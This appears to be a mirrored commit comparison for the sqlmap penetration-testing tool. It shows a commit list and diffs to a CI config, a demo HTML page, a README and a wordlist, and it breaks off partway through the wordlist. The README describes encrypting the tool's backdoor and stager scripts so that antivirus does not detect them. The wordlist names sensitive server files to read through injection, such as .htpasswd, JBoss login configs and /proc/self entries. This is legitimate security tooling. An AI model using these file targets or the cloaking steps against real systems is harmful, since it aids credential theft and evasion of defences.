mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Miroslav Stampar
|
fe4e79511a | ||
|
Miroslav Stampar
|
1d5bde9cdf | ||
|
Miroslav Stampar
|
227a23f091 | ||
|
Miroslav Stampar
|
0ff3b1ce70 | ||
|
Miroslav Stampar
|
7e483ffd7a | ||
|
Miroslav Stampar
|
a5852390f7 | ||
|
Miroslav Stampar
|
73d0c67a80 | ||
|
Miroslav Stampar
|
8e9f7e90c3 | ||
|
Miroslav Stampar
|
f6bf331b8f | ||
|
Miroslav Stampar
|
585645e806 | ||
|
Miroslav Stampar
|
673a5afe07 | ||
|
Miroslav Stampar
|
c9a8b915c8 | ||
|
Miroslav Stampar
|
9645aaa33f | ||
|
Miroslav Stampar
|
e556876fe6 | ||
|
Miroslav Stampar
|
0524670cf9 | ||
|
Miroslav Stampar
|
96a2c91701 | ||
|
Miroslav Stampar
|
5029d67e4f | ||
|
Miroslav Stampar
|
5af64f5ae4 | ||
|
Miroslav Stampar
|
bc981c517b | ||
|
Miroslav Stampar
|
87ad11dffb | ||
|
Miroslav Stampar
|
3663fa936b | ||
|
Miroslav Stampar
|
4687383a44 | ||
|
Miroslav Stampar
|
62cfd47b83 | ||
|
Miroslav Stampar
|
2bf22df53a | ||
|
Miroslav Stampar
|
0585a55ee0 | ||
|
tree-chtsecandtree
|
babe52eb10 | ||
|
Miroslav Stampar
|
231c3da057 | ||
|
Miroslav Stampar
|
13a2ab3fa3 | ||
|
Miroslav Stampar
|
21cc6e3c99 | ||
|
Miroslav Stampar
|
a2a73b88ea | ||
|
Miroslav Stampar
|
210a4c3a0a | ||
|
Miroslav Stampar
|
15225668d0 | ||
|
Miroslav Stampar
|
c1bf36b876 | ||
|
Miroslav Stampar
|
229f89004b | ||
|
Miroslav Stampar
|
443b1f2ed5 | ||
|
Miroslav Stampar
|
60f4520020 | ||
|
Miroslav Stampar
|
7460b87f1d | ||
|
Miroslav Stampar
|
5d08b9004e | ||
|
Miroslav Stampar
|
c2b9e539ae | ||
|
HerendraTJ
|
3d8eb62a59 | ||
|
Miroslav Stampar
|
d51e45fd34 | ||
|
Miroslav Stampar
|
3258e29cf9 | ||
|
antichownandMiroslav Stampar
|
e0ea1ab5e9 | ||
|
Miroslav Stampar
|
192ca02c41 | ||
|
Miroslav Stampar
|
f0bbbb0918 | ||
|
Miroslav Stampar
|
f6857d4ee4 | ||
|
Miroslav Stampar
|
a1342e04a5 | ||
|
Miroslav Stampar
|
7963281c41 | ||
|
Miroslav Stampar
|
715063f0d4 | ||
|
Miroslav Stampar
|
1658331810 | ||
|
Miroslav Stampar
|
bfe93e20c5 | ||
|
Miroslav Stampar
|
bcea050f22 | ||
|
Miroslav Stampar
|
c4a692abe3 | ||
|
Miroslav Stampar
|
b42b62ae38 | ||
|
Miroslav Stampar
|
a7f20c1d67 | ||
|
Miroslav Stampar
|
f781367ac1 | ||
|
mkauschiandmanuel
|
1bec3a953c | ||
|
Miroslav Stampar
|
66e07dfab6 | ||
|
Miroslav Stampar
|
226d467f6d | ||
|
Miroslav Stampar
|
ea5ae44b6c | ||
|
Miroslav Stampar
|
95b9a47c6f | ||
|
Miroslav Stampar
|
e05f65628d | ||
|
Miroslav Stampar
|
609545176f | ||
|
Miroslav Stampar
|
8de4820b24 | ||
|
Miroslav Stampar
|
df5fabbbbb | ||
|
Miroslav Stampar
|
0c48d0dbec | ||
|
Miroslav Stampar
|
5108c2d06c | ||
|
Miroslav Stampar
|
603d602550 | ||
|
Miroslav Stampar
|
907786edb8 | ||
|
Miroslav Stampar
|
85b73f872e | ||
|
Miroslav Stampar
|
a42ec7d9cb | ||
|
tree-chtsec
|
b3f4c6d0fc | ||
|
Miroslav Stampar
|
cec65f3a27 | ||
|
Miroslav Stampar
|
cc79ae69aa | ||
|
Miroslav Stampar
|
5a9dc15cf2 | ||
|
Miroslav Stampar
|
f1fd080ba5 | ||
|
Miroslav Stampar
|
cfe9fb4f5b | ||
|
Miroslav Stampar
|
7a55c9c145 | ||
|
Miroslav Stampar
|
4077a359f4 | ||
|
Miroslav Stampar
|
435fd49f1d | ||
|
Miroslav Stampar
|
bcfd9c3f48 | ||
|
Miroslav Stampar
|
39c320c29b | ||
|
Miroslav Stampar
|
b719b9612f | ||
|
Miroslav Stampar
|
84bc2640d1 | ||
|
Miroslav Stampar
|
fced29a242 | ||
|
Miroslav Stampar
|
2e5e958d3f | ||
|
Miroslav Stampar
|
1e30471d3d | ||
|
Miroslav Stampar
|
10b93d753d | ||
|
Miroslav Stampar
|
1280abc25c | ||
|
Miroslav Stampar
|
c47061f25d | ||
|
HerendraTJ
|
9b871f1093 | ||
|
Miroslav Stampar
|
0ba07e93d5 | ||
|
Miroslav Stampar
|
ce50acf69d | ||
|
Miroslav Stampar
|
9f0ff27c26 | ||
|
Miroslav Stampar
|
ecafac5cd2 | ||
|
Miroslav Stampar
|
f39869992c | ||
|
Miroslav Stampar
|
e910fc6b8b | ||
|
Gustavo
|
6375f9e506 | ||
|
Miroslav Stampar
|
8e649dc3f7 | ||
|
Miroslav Stampar
|
a6ce91a3e2 | ||
|
Miroslav Stampar
|
408862b040 | ||
|
Miroslav Stampar
|
fc4dec7291 | ||
|
Miroslav Stampar
|
274a6e62da | ||
|
Miroslav Stampar
|
aa7c548376 | ||
|
Miroslav Stampar
|
6b7a1dfd94 | ||
|
Miroslav Stampar
|
67f918f6ad | ||
|
Miroslav Stampar
|
a65e1faf99 | ||
|
Miroslav Stampar
|
ff48e1d820 | ||
|
Miroslav Stampar
|
0094f02fb0 | ||
|
Miroslav Stampar
|
459130196a | ||
|
Miroslav Stampar
|
0a8a65bc0b | ||
|
Miroslav Stampar
|
5d370f2fa1 | ||
|
Miroslav Stampar
|
1296336e18 | ||
|
Miroslav Stampar
|
75b3736467 | ||
|
Miroslav Stampar
|
282eb7e533 | ||
|
Miroslav Stampar
|
f28d82c119 | ||
|
Miroslav Stampar
|
74603c5530 | ||
|
Miroslav Stampar
|
050700f079 | ||
|
Miroslav Stampar
|
31bf1fc6b6 | ||
|
Miroslav Stampar
|
d4d83b29f0 | ||
|
Miroslav Stampar
|
596fff48ad | ||
|
Miroslav Stampar
|
56ff081314 | ||
|
Miroslav Stampar
|
69421b4806 | ||
|
Miroslav Stampar
|
3910b86853 | ||
|
Miroslav Stampar
|
bbdedb39f9 | ||
|
Miroslav Stampar
|
d0be782ece | ||
|
Miroslav Stampar
|
16c8673e98 | ||
|
Miroslav Stampar
|
1dedc36d85 | ||
|
Miroslav Stampar
|
c1d46c95ed | ||
|
Miroslav Stampar
|
d5fc2c9350 | ||
|
Miroslav Stampar
|
c28ad8fcd8 | ||
|
Miroslav Stampar
|
2d06543cac | ||
|
Miroslav Stampar
|
6a1e0fb497 | ||
|
Miroslav Stampar
|
5c650e15a9 | ||
|
Miroslav Stampar
|
c97a814d26 | ||
|
Miroslav Stampar
|
a58d08c7e4 | ||
|
Miroslav Stampar
|
9c503873ad | ||
|
Miroslav Stampar
|
03dfd6b4d5 | ||
|
Miroslav Stampar
|
d5a2ffc8ce | ||
|
Miroslav Stampar
|
ddf8b1b198 | ||
|
Karim Kanso
|
9a36357c52 | ||
|
Miroslav Stampar
|
667e4d00f2 | ||
|
Miroslav Stampar
|
788dcbf077 | ||
|
Miroslav Stampar
|
a851dc486a | ||
|
Miroslav Stampar
|
9077734ec5 | ||
|
Miroslav Stampar
|
7b49c46906 | ||
|
Miroslav Stampar
|
317bc0f69c | ||
|
Miroslav Stampar
|
c7bdf27542 | ||
|
Miroslav Stampar
|
b334b6b742 | ||
|
Miroslav Stampar
|
aa812effe7 | ||
|
Miroslav Stampar
|
99e2a26a8d | ||
|
Miroslav Stampar
|
01edcbf71d | ||
|
Miroslav Stampar
|
0b93311ef2 | ||
|
Miroslav Stampar
|
4f3f43d8bb | ||
|
Miroslav Stampar
|
4582948aac | ||
|
Miroslav Stampar
|
3729b76c14 | ||
|
Miroslav Stampar
|
a8c3d17583 | ||
|
Miroslav Stampar
|
3c36b186ad | ||
|
Miroslav Stampar
|
075fa1d4be | ||
|
Miroslav Stampar
|
5be407edad | ||
|
Miroslav Stampar
|
7ab82de80f | ||
|
Miroslav Stampar
|
93399ab1b3 | ||
|
Miroslav Stampar
|
87bccf4aa7 | ||
|
Miroslav Stampar
|
1c179674d8 | ||
|
Miroslav Stampar
|
7a6433b9ef | ||
|
Miroslav Stampar
|
4e7f0b10d5 | ||
|
Miroslav Stampar
|
0351b4a939 | ||
|
Miroslav Stampar
|
3c93872d53 | ||
|
Miroslav Stampar
|
881d767df8 | ||
|
Miroslav Stampar
|
1156b53eee | ||
|
Miroslav Stampar
|
5cacf20eb5 | ||
|
Miroslav Stampar
|
1825390951 | ||
|
Miroslav Stampar
|
7815f88027 | ||
|
Miroslav Stampar
|
f63a92a272 | ||
|
Miroslav Stampar
|
e3b3dea46c | ||
|
Miroslav Stampar
|
55595edce2 | ||
|
Miroslav Stampar
|
aaa0c5c6a8 | ||
|
Miroslav Stampar
|
57bb710ae6 | ||
|
Miroslav Stampar
|
ce9285381d | ||
|
Miroslav Stampar
|
dad4879200 |
@@ -11,7 +11,6 @@ jobs:
|
|||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.9-dev
|
- python: 3.9-dev
|
||||||
dist: bionic
|
dist: bionic
|
||||||
sudo: false
|
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 1
|
||||||
script:
|
script:
|
||||||
|
|||||||
+147
-146
@@ -1,150 +1,151 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
|
|
||||||
<!-- http://angrytools.com/bootstrap/editor/ -->
|
<!-- http://angrytools.com/bootstrap/editor/ -->
|
||||||
|
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8">
|
<title>DEMO</title>
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
<meta charset="utf-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
|
||||||
</head>
|
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||||
<body>
|
</head>
|
||||||
<style>
|
<body>
|
||||||
#wrapper { width: 100%; }
|
<style>
|
||||||
|
#wrapper { width: 100%; }
|
||||||
#page-wrapper {
|
|
||||||
padding: 0 15px;
|
#page-wrapper {
|
||||||
min-height: 568px;
|
padding: 0 15px;
|
||||||
background-color: #fff;
|
min-height: 568px;
|
||||||
}
|
background-color: #fff;
|
||||||
|
}
|
||||||
@media(min-width:768px) {
|
|
||||||
#page-wrapper {
|
@media(min-width:768px) {
|
||||||
position: inherit;
|
#page-wrapper {
|
||||||
margin: 0 0 0 250px;
|
position: inherit;
|
||||||
padding: 0 30px;
|
margin: 0 0 0 250px;
|
||||||
border-left: 1px solid #e7e7e7;
|
padding: 0 30px;
|
||||||
}
|
border-left: 1px solid #e7e7e7;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
|
||||||
.sidebar .sidebar-search { padding: 15px; }
|
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
.sidebar .sidebar-search { padding: 15px; }
|
||||||
|
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||||
.sidebar ul li a.active { background-color: #eee; }
|
|
||||||
|
.sidebar ul li a.active { background-color: #eee; }
|
||||||
.sidebar .arrow { float: right;}
|
|
||||||
.sidebar .fa.arrow:before { content: "f104";}
|
.sidebar .arrow { float: right;}
|
||||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
.sidebar .fa.arrow:before { content: "f104";}
|
||||||
.sidebar .nav-second-level li,
|
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||||
.sidebar .nav-third-level li {
|
.sidebar .nav-second-level li,
|
||||||
border-bottom: 0!important;
|
.sidebar .nav-third-level li {
|
||||||
}
|
border-bottom: 0!important;
|
||||||
|
}
|
||||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
|
||||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||||
|
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||||
@media(min-width:768px) {
|
|
||||||
.sidebar {
|
@media(min-width:768px) {
|
||||||
z-index: 1;
|
.sidebar {
|
||||||
position: absolute;
|
z-index: 1;
|
||||||
width: 250px;
|
position: absolute;
|
||||||
margin-top: 51px;
|
width: 250px;
|
||||||
}
|
margin-top: 51px;
|
||||||
}
|
}
|
||||||
</style>
|
}
|
||||||
<div id="wrapper">
|
</style>
|
||||||
|
<div id="wrapper">
|
||||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
|
||||||
<div class="navbar-header">
|
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
<div class="navbar-header">
|
||||||
<span class="sr-only">Toggle navigation</span>
|
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||||
<span class="icon-bar"></span>
|
<span class="sr-only">Toggle navigation</span>
|
||||||
<span class="icon-bar"></span>
|
<span class="icon-bar"></span>
|
||||||
<span class="icon-bar"></span>
|
<span class="icon-bar"></span>
|
||||||
</button>
|
<span class="icon-bar"></span>
|
||||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
</button>
|
||||||
</div>
|
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||||
|
</div>
|
||||||
<div class="navbar-default sidebar" role="navigation">
|
|
||||||
<div class="sidebar-nav navbar-collapse">
|
<div class="navbar-default sidebar" role="navigation">
|
||||||
<ul class="nav" id="side-menu">
|
<div class="sidebar-nav navbar-collapse">
|
||||||
<li>
|
<ul class="nav" id="side-menu">
|
||||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
<li>
|
||||||
<ul class="nav nav-second-level">
|
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
||||||
<li><a>Target</a></li>
|
<ul class="nav nav-second-level">
|
||||||
<li><a>Request</a></li>
|
<li><a>Target</a></li>
|
||||||
<li><a>Optimization</a></li>
|
<li><a>Request</a></li>
|
||||||
<li><a>Injection</a></li>
|
<li><a>Optimization</a></li>
|
||||||
<li><a>Detection</a></li>
|
<li><a>Injection</a></li>
|
||||||
<li><a>Techniques</a></li>
|
<li><a>Detection</a></li>
|
||||||
<li><a>Fingerprint</a></li>
|
<li><a>Techniques</a></li>
|
||||||
<li><a>Enumeration</a></li>
|
<li><a>Fingerprint</a></li>
|
||||||
<li><a>Brute force</a></li>
|
<li><a>Enumeration</a></li>
|
||||||
<li><a>User-defined function injection</a></li>
|
<li><a>Brute force</a></li>
|
||||||
<li><a>File system access</a></li>
|
<li><a>User-defined function injection</a></li>
|
||||||
<li><a>Operating system access</a></li>
|
<li><a>File system access</a></li>
|
||||||
<li><a>Windows registry access</a></li>
|
<li><a>Operating system access</a></li>
|
||||||
<li><a>General</a></li>
|
<li><a>Windows registry access</a></li>
|
||||||
<li><a>Miscellaneous</a></li>
|
<li><a>General</a></li>
|
||||||
</ul>
|
<li><a>Miscellaneous</a></li>
|
||||||
</li>
|
</ul>
|
||||||
</ul>
|
</li>
|
||||||
</div>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</div>
|
||||||
|
</nav>
|
||||||
<div id="page-wrapper">
|
|
||||||
<div class="row">
|
<div id="page-wrapper">
|
||||||
<h4>DEMO</h4>
|
<div class="row">
|
||||||
</div>
|
<h4>DEMO</h4>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<script>
|
</div>
|
||||||
/*
|
<script>
|
||||||
* metismenu - v1.0.3
|
/*
|
||||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
* metismenu - v1.0.3
|
||||||
* https://github.com/onokumus/metisMenu
|
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||||
*
|
* https://github.com/onokumus/metisMenu
|
||||||
* Made by Osman Nuri Okumuş
|
*
|
||||||
* Under MIT License
|
* Made by Osman Nuri Okumuş
|
||||||
*/
|
* Under MIT License
|
||||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
*/
|
||||||
|
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||||
$(function() {
|
|
||||||
|
$(function() {
|
||||||
$('#side-menu').metisMenu();
|
|
||||||
|
$('#side-menu').metisMenu();
|
||||||
});
|
|
||||||
|
});
|
||||||
//Loads the correct sidebar on window load,
|
|
||||||
//collapses the sidebar on window resize.
|
//Loads the correct sidebar on window load,
|
||||||
// Sets the min-height of #page-wrapper to window size
|
//collapses the sidebar on window resize.
|
||||||
$(function() {
|
// Sets the min-height of #page-wrapper to window size
|
||||||
$(window).bind("load resize", function() {
|
$(function() {
|
||||||
topOffset = 50;
|
$(window).bind("load resize", function() {
|
||||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
topOffset = 50;
|
||||||
if (width < 768) {
|
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||||
$('div.navbar-collapse').addClass('collapse')
|
if (width < 768) {
|
||||||
topOffset = 100; // 2-row-menu
|
$('div.navbar-collapse').addClass('collapse')
|
||||||
} else {
|
topOffset = 100; // 2-row-menu
|
||||||
$('div.navbar-collapse').removeClass('collapse')
|
} else {
|
||||||
}
|
$('div.navbar-collapse').removeClass('collapse')
|
||||||
|
}
|
||||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
|
||||||
height = height - topOffset;
|
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||||
if (height < 1) height = 1;
|
height = height - topOffset;
|
||||||
if (height > topOffset) {
|
if (height < 1) height = 1;
|
||||||
$("#page-wrapper").css("min-height", (height) + "px");
|
if (height > topOffset) {
|
||||||
}
|
$("#page-wrapper").css("min-height", (height) + "px");
|
||||||
})
|
}
|
||||||
});
|
})
|
||||||
</script>
|
});
|
||||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
</script>
|
||||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||||
</body>
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||||
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
|
||||||
|
|
||||||
To prepare the original scripts to the cloaked form use this command:
|
To prepare the original scripts to the cloaked form use this command:
|
||||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
|
||||||
|
|
||||||
To get back them into the original form use this:
|
To get back them into the original form use this:
|
||||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+62
-67
@@ -679,17 +679,6 @@
|
|||||||
|
|
||||||
/.htaccess
|
/.htaccess
|
||||||
/.htpasswd
|
/.htpasswd
|
||||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/[jboss]/server/default/log/boot.log
|
|
||||||
/[jboss]/server/default/log/server.log
|
|
||||||
/access.log
|
/access.log
|
||||||
/access_log
|
/access_log
|
||||||
/apache/conf/httpd.conf
|
/apache/conf/httpd.conf
|
||||||
@@ -1024,17 +1013,17 @@
|
|||||||
/mysql/my.cnf
|
/mysql/my.cnf
|
||||||
/mysql/my.ini
|
/mysql/my.ini
|
||||||
/netserver/bin/stable/apache/php.ini
|
/netserver/bin/stable/apache/php.ini
|
||||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
/opt/jboss/server/default/conf/jboss-service.xml
|
||||||
/opt/[jboss]/server/default/conf/jndi.properties
|
/opt/jboss/server/default/conf/jndi.properties
|
||||||
/opt/[jboss]/server/default/conf/log4j.xml
|
/opt/jboss/server/default/conf/log4j.xml
|
||||||
/opt/[jboss]/server/default/conf/login-config.xml
|
/opt/jboss/server/default/conf/login-config.xml
|
||||||
/opt/[jboss]/server/default/conf/server.log.properties
|
/opt/jboss/server/default/conf/server.log.properties
|
||||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
/opt/jboss/server/default/conf/standardjaws.xml
|
||||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
/opt/jboss/server/default/conf/standardjboss.xml
|
||||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/opt/[jboss]/server/default/log/boot.log
|
/opt/jboss/server/default/log/boot.log
|
||||||
/opt/[jboss]/server/default/log/server.log
|
/opt/jboss/server/default/log/server.log
|
||||||
/opt/apache/apache.conf
|
/opt/apache/apache.conf
|
||||||
/opt/apache/apache2.conf
|
/opt/apache/apache2.conf
|
||||||
/opt/apache/conf/apache.conf
|
/opt/apache/conf/apache.conf
|
||||||
@@ -1075,17 +1064,6 @@
|
|||||||
/private/etc/httpd/httpd.conf
|
/private/etc/httpd/httpd.conf
|
||||||
/private/etc/httpd/httpd.conf.default
|
/private/etc/httpd/httpd.conf.default
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/private/tmp/[jboss]/server/default/log/boot.log
|
|
||||||
/private/tmp/[jboss]/server/default/log/server.log
|
|
||||||
/proc/cpuinfo
|
/proc/cpuinfo
|
||||||
/proc/devices
|
/proc/devices
|
||||||
/proc/meminfo
|
/proc/meminfo
|
||||||
@@ -1114,17 +1092,17 @@
|
|||||||
/proc/self/stat
|
/proc/self/stat
|
||||||
/proc/self/status
|
/proc/self/status
|
||||||
/proc/version
|
/proc/version
|
||||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
/program files/jboss/server/default/conf/jboss-service.xml
|
||||||
/program files/[jboss]/server/default/conf/jndi.properties
|
/program files/jboss/server/default/conf/jndi.properties
|
||||||
/program files/[jboss]/server/default/conf/log4j.xml
|
/program files/jboss/server/default/conf/log4j.xml
|
||||||
/program files/[jboss]/server/default/conf/login-config.xml
|
/program files/jboss/server/default/conf/login-config.xml
|
||||||
/program files/[jboss]/server/default/conf/server.log.properties
|
/program files/jboss/server/default/conf/server.log.properties
|
||||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
/program files/jboss/server/default/conf/standardjaws.xml
|
||||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
/program files/jboss/server/default/conf/standardjboss.xml
|
||||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/program files/[jboss]/server/default/log/boot.log
|
/program files/jboss/server/default/log/boot.log
|
||||||
/program files/[jboss]/server/default/log/server.log
|
/program files/jboss/server/default/log/server.log
|
||||||
/program files/apache group/apache/apache.conf
|
/program files/apache group/apache/apache.conf
|
||||||
/program files/apache group/apache/apache2.conf
|
/program files/apache group/apache/apache2.conf
|
||||||
/program files/apache group/apache/conf/apache.conf
|
/program files/apache group/apache/conf/apache.conf
|
||||||
@@ -1177,17 +1155,17 @@
|
|||||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||||
/temp/sess_
|
/temp/sess_
|
||||||
/thttpd_log
|
/thttpd_log
|
||||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
/tmp/jboss/server/default/conf/jndi.properties
|
||||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
/tmp/jboss/server/default/conf/log4j.xml
|
||||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
/tmp/jboss/server/default/conf/login-config.xml
|
||||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
/tmp/jboss/server/default/conf/server.log.properties
|
||||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
